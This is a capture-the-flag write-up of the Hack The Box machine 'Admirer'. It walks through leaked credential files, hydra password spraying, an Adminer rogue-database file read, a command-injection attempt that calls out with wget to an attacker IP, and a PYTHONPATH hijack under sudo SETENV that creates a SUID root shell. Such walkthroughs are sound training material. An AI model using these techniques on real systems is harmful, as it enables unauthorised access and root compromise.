12 minute read

Introduction


Admirer is an easy box with a 3.4 user rating. I found credentials on the webserver that lead to database access, from there, I found other credentials for SSH. I exploited a SUID bit on a file that executes python scripts as sudo. So let’s start with the enumeration of the machine.

Enumeration


I start with an Nmap scan.

Nmap Scan


For this task I use the nmap automator, here are the results of the full scan:

PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

On those 3 open ports, the automator will perform a script scan:

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey: 
|   2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
|   256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_  256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry 
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service Enumeration


The automator also performed a FFuF scan on the web directory:

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://admirer.htb:80/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Extensions       : .php 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

.htpasswd               [Status: 403, Size: 276, Words: 20, Lines: 10]
.htpasswd.php           [Status: 403, Size: 276, Words: 20, Lines: 10]
                        [Status: 200, Size: 6051, Words: 385, Lines: 154]
.htaccess.php           [Status: 403, Size: 276, Words: 20, Lines: 10]
.htaccess               [Status: 403, Size: 276, Words: 20, Lines: 10]
.hta.php                [Status: 403, Size: 276, Words: 20, Lines: 10]
.hta                    [Status: 403, Size: 276, Words: 20, Lines: 10]
.php                    [Status: 403, Size: 276, Words: 20, Lines: 10]
assets                  [Status: 301, Size: 311, Words: 20, Lines: 10]
images                  [Status: 301, Size: 311, Words: 20, Lines: 10]
index.php               [Status: 200, Size: 6051, Words: 385, Lines: 154]
index.php               [Status: 200, Size: 6051, Words: 385, Lines: 154]
robots.txt              [Status: 200, Size: 138, Words: 21, Lines: 5]
server-status           [Status: 403, Size: 276, Words: 20, Lines: 10]
:: Progress: [9228/9228] :: Job [1/1] :: 390 req/sec :: Duration: [0:00:27] 

There is a robots.txt file, which contains an interesting line:

User-agent: *

# This folder contains personal contacts and creds, so no one -not even robots- should see it - waldo
Disallow: /admin-dir

This shows me a directory, to which I have no access (and a possible username waldo). I may have access to files in the directory, so I used gobuster to scan for files:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/admirer]
└─$ gobuster dir -u http://admirer.htb/admin-dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster-admin-dir.txt -x php,html,log,txt                                                     
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://admirer.htb/admin-dir
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              log,txt,php,html
[+] Timeout:                 10s
===============================================================
2021/09/20 10:27:00 Starting gobuster in directory enumeration mode
===============================================================
/contacts.txt         (Status: 200) [Size: 350]
/credentials.txt      (Status: 200) [Size: 136]

There is the contacts.txt file, let’s try to access it (I deleted the empty lines for a better overview):

##########
# admins #
##########
# Penny
Email: p.wise@admirer.htb
##############
# developers #
##############
# Rajesh
Email: r.nayyar@admirer.htb
# Amy
Email: a.bialik@admirer.htb
# Leonard
Email: l.galecki@admirer.htb
#############
# designers #
#############
# Howard
Email: h.helberg@admirer.htb
# Bernadette
Email: b.rauch@admirer.htb

There are many users, but this will not help right now. I create a file, in which, I store the users and emails:

waldo
Penny
Rajesh
Amy
Leonard
Howard
Bernadette
admin
ftpuser
w.cooper@admirer.htb
p.wise@admirer.htb
r.nayyar@admirer.htb
a.bialik@admirer.htb
l.galecki@admirer.htb
h.helberg@admirer.htb
b.rauch@admirer.htb

I will update the file above when I find new usernames. Now I check credentials.txt:

[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P

[FTP account]
ftpuser
%n?4Wz}R$tTF7

[Wordpress account]
admin
w0rdpr3ss01!

Wow, there are a lot of passwords, I try to access ftp first:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/admirer]
└─$ ftp admirer.htb
Connected to admirer.htb.
220 (vsFTPd 3.0.3)
Name (admirer.htb:user): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

That worked, I will now download all the files.

ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0            3405 Dec 02  2019 dump.sql
-rw-r--r--    1 0        0         5270987 Dec 03  2019 html.tar.gz
226 Directory send OK.
ftp> get dump.sql
local: dump.sql remote: dump.sql
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for dump.sql (3405 bytes).
g226 Transfer complete.
3405 bytes received in 0.08 secs (41.9975 kB/s)
ftp> get html.tar.gz
local: html.tar.gz remote: html.tar.gz
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for html.tar.gz (5270987 bytes).

The SQL file does not help that much, but the tar.gz file does. This is a full backup of the /var/www/html folder. There is a file called db_admin inside of the utility scripts folder, it shows me the password for the database:

<?php
  $servername = "localhost";
  $username = "waldo";
  $password = "Wh3r3_1s_w4ld0?";

I first need to get a shell in order to connect to the database. In the folder w4ld0s_s3cr3t_d1r the credentials are located. In the script utility file, there is also an admin task file, which I can access:

Untitled

I can also view the source code inside the zipped file. The following code catched my attention:

<h4>Select task:</p>
  <form method="POST">
    <select name="task">
      <option value=1>View system uptime</option>
      <option value=2>View logged in users</option>
      <option value=3>View crontab</option>
      <option value=4 disabled>Backup passwd file</option>
      <option value=5 disabled>Backup shadow file</option>
      <option value=6 disabled>Backup web data</option>
      <option value=7 disabled>Backup database</option>
    </select>
    <input type="submit">
  </form>

The options are disabled, but I can edit the request in burp, that did not work. I always end up with a message like that “Insufficient privileges to perform the selected operation.” I wasn’t able to inject code into it (by using the following task: task=1 && wget [http://10.10.16.6/index.html](http://10.10.16.6/index.html)) but that did also not work.

I create a file for the passwords:

Wh3r3_1s_w4ld0?
w0rdpr3ss01!
%n?4Wz}R$tTF7
fgJr6q#S\W:$P

I checked for a password reuse on the ssh service. For this, I used hydra and the lists I created earlier:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/admirer]
└─$ hydra -L users.txt -P passwords.txt admirer.htb -t 4 ssh      
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military 
   or secret service organizations, 
   or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-09-20 12:43:43
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a 
    previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 64 login tries (l:16/p:4), ~16 tries per task
[DATA] attacking ssh://admirer.htb:22/
[22][ssh] host: admirer.htb   login: ftpuser   password: %n?4Wz}R$tTF7
[STATUS] 64.00 tries/min, 64 tries in 00:01h, 1 to do in 00:01h, 4 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-09-20 12:44:56

As you see, the password for the ftpuser is reused. I try to log in:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/admirer]
└─$ ssh ftpuser@admirer.htb
ftpuser@admirer.htb's password: 
Linux admirer 4.9.0-12-amd64 x86_64 GNU/Linux

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Sep 20 11:56:23 2021 from 10.10.16.6
Connection to admirer.htb closed.

The connection does not work, I tried to troubleshoot but I could not get it to work. I ran more scans on the directories I know already through the backup archive. I used dirsearch (this is usually pretty fast for small scans, and could also search sub directories). I found something in the utility-scripts directory:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/admirer]
└─$ python3 /tools/dirsearch.py -u http://admirer.htb/utility-scripts/ -e php,html -x 403,404 -t 50

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, html | HTTP method: GET | Threads: 50 | Wordlist size: 9395

Output File: /tools/dirsearch/reports/admirer.htb/-utility-scripts-_21-09-20_13-52-13.txt

Error Log: /tools/dirsearch/logs/errors-21-09-20_13-52-13.log

Target: http://admirer.htb/utility-scripts/

[13:52:13] Starting: 
[13:52:29] 200 -    4KB - /utility-scripts/adminer.php
[13:52:44] 200 -   83KB - /utility-scripts/info.php
[13:52:51] 200 -   32B  - /utility-scripts/phptest.php                      
                                                                             
Task Completed

Exploitation


On the adminer page, I can connect to a any database. The credentials found in the backup do not work on the site. But I might be able to connect to my local SQL service and then get a shell over that connection. First, I need to edit the config file:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/admirer]
└─$ sudo nano /etc/mysql/mariadb.conf.d/50-server.cnf
# Instead of skip-networking the default is now to listen only on
# localhost which is more compatible and is not less secure.
bind-address            = 0.0.0.0

So now you can start the service and start mysql. I create a database and table to connect to:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/admirer]
└─$ sudo mysql
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 46
Server version: 10.5.12-MariaDB-1 Debian 11

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> CREATE DATABASE pawn;
Query OK, 1 row affected (0.000 sec)

MariaDB [(none)]> use pawn
Database changed
MariaDB [pawn]> CREATE TABLE pawn (data VARCHAR(256));
Query OK, 0 rows affected (0.254 sec)

Before connecting to the database, I need to set some privileges. I use the root user to do this:

MariaDB [pawn]> GRANT ALL PRIVILEGES ON *.* TO root@10.10.10.187 IDENTIFIED by 'test' WITH GRANT OPTION;
Query OK, 0 rows affected (0.001 sec)

Now, connect to the database:

Untitled

And I got access, this means that I have a connection from admirer to my local kali machine:

Untitled

I try to read /etc/passwd:

Untitled

That did not work. From the backup, I know the connection file, so I try to load it:

Untitled

That does also not work, so let’s just try to get index.php:

Untitled

That finally worked. This query loaded the file into my local database. So I should be able to read the data by using a simple mysql SELECT query:

SELECT * FROM pawn

There is one interesting section in the file:

<?php
    $servername = "localhost";
    $username = "waldo";
    $password = "&<h5b~yK3F#{PaPB&dA}{H>";
    $dbname = "admirerdb";

This is another password, let’s try it in adminer to access the database that is stored on the box:

Untitled

That worked. Before doing anything else, I checked for a password reuse:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/admirer]
└─$ ssh waldo@admirer.htb
waldo@admirer.htb's password: 
Linux admirer 4.9.0-12-amd64 x86_64 GNU/Linux

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Wed Apr 29 10:56:59 2020 from 10.10.14.3
waldo@admirer:~$ id
uid=1000(waldo) gid=1000(waldo) groups=1000(waldo),1001(admins)

That worked, I finally got a shell on the system.

User Flag


Time to get the user flag:

waldo@admirer:~$ ls
user.txt
waldo@admirer:~$ cat user.txt
a1**************************964c

Privesc


As always I first checked if I can run any programs as sudo:

waldo@admirer:/home$ sudo -l
[sudo] password for waldo: 
Matching Defaults entries for waldo on admirer:
    env_reset, env_file=/etc/sudoenv, mail_badpass, 
		secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, 
		listpw=always

User waldo may run the following commands on admirer:
    (ALL) SETENV: /opt/scripts/admin_tasks.sh

There is a script that I can execute with the SETENV (I will put the Theory to this at the end of this write up). I analyzed the script, but there are no path manipulations possible. So I start by enumerating the other files that are used by the script. Here is backup.py:

#!/usr/bin/python3

from shutil import make_archive

src = '/var/www/html/'

# old ftp directory, not used anymore
#dst = '/srv/ftp/html'

dst = '/var/backups/html'

make_archive(dst, 'gztar', src)

I think I am able to exploit this. I should be able to set the $PYTHONPATH variable when executing sudo, which gives me control over the import functionality of python. I can create a script that will make an SUID copy of /bin/bash (I will do this in /var/tmp, because other dirs are cleared):

#!/usr/bin/python3

import os

def make_archive(a,b,c):
    pass

os.system('cp /bin/bash /var/tmp/rootbash; chown root:root /var/tmp/rootbash; chmod 4755 /var/tmp/rootbash')

Note: The file must be called shutil. I run the script while defining the PYTHONPATH variable:

waldo@admirer:/opt/scripts$ sudo PYTHONPATH=/var/tmp /opt/scripts/admin_tasks.sh 6
Running backup script in the background, it might take a while...

I called it using the option 6, which is the web backup option. Let’s check if rootbash is created:

waldo@admirer:/var/tmp$ ls -l
total 2156
-rwxr-xr-x 1 root  root  1099016 Sep 20 14:32 rootbas
-rwsr-xr-x 1 root  root  1099016 Sep 20 14:33 rootbash
-rw-r--r-- 1 waldo waldo     175 Sep 20 14:33 shutil.py

That looks good. i should get a rootshell when calling it (use the -p option):

waldo@admirer:/var/tmp$ ./rootbash -p
rootbash-4.4# whoami
root

There is the root shell.

Root Flag


Using rootbash I’m able to read the root flag:

rootbash-4.4# cat /root/root.txt
b3**************************f59c

Beyond Root


SETENV (sudo syntax analysis)


I copy the theory from this writeup, 0xdf explains this very good:

HTB: Admirer

With no pre-knowledge of SETENV, it seems important to figure out what it means and have a good understanding of how sudo handles environment variables. Checking the sudoers man page against what’s in this configuration, in the flags, there’s env_reset, which basically says that, because there’s no env_keep setting, none of waldo’s environment will be passed:

If set, sudo will run the command in a minimal environment containing the TERM, PATH, HOME, MAIL, SHELL, LOGNAME, USER, USERNAME and SUDO_* variables. Any variables in the caller’s environment that match the env_keep and env_check lists are then added, followed by any variables present in the file specified by the env_file option (if any). The default contents of the env_keep and env_check lists are displayed when sudo is run by root with the -V option. If the secure_path option is set, its value will be used for the PATH environment variable. This flag is on by default.

Next the SETENV tag says that as the caller, I can override env_reset using -E or by setting variables on the command line when I call sudo:

SETENV and NOSETENVThese tags override the value of the setenv option on a per-command basis. Note that if SETENV has been set for a command, the user may disable the env_reset option from the command line via the -E option. Additionally, environment variables set on the command line are not subject to the restrictions imposed by env_check, env_delete, or env_keep. As such, only trusted users should be allowed to set variables in this manner. If the command matched is ALL, the SETENV tag is implied for that command; this default may be overridden by use of the NOSETENV tag.

secure_path was also mentioned in the env_reset page, and is set here. It prevents the sudo caller from setting the $PATH variable:

secure_path Path used for every command run from sudo. If you don’t trust the people running sudo to have a sane PATH environment variable you may want to use this. Another use is if you want to have the ‘‘root path’’ be separate from the ‘‘user path’’. Users in the group specified by the exempt_group option are not affected by secure_path. This option is not set by default.

One last thing I learned about how sudo handles environment variables - I has a list of “bad” variables that don’t carry into the new command even with -E, as explained here. What that post doesn’t show is that it doesn’t seem to apply to variables passed inline:

# $TESTVAR enters through sudo with -E
$ TESTVAR  =  testValue sudo -E bash -c 'echo $TESTVAR'
testValue

# $PYTHONPATH does not
$ PYTHONPATH  =  testValue sudo -E bash -c 'echo $PYTHONPATH'

# Passing $PYTHONPATH as part of the command does work
$ sudo PYTHONPATH  =  testValue bash -c 'echo $PYTHONPATH'
testValue`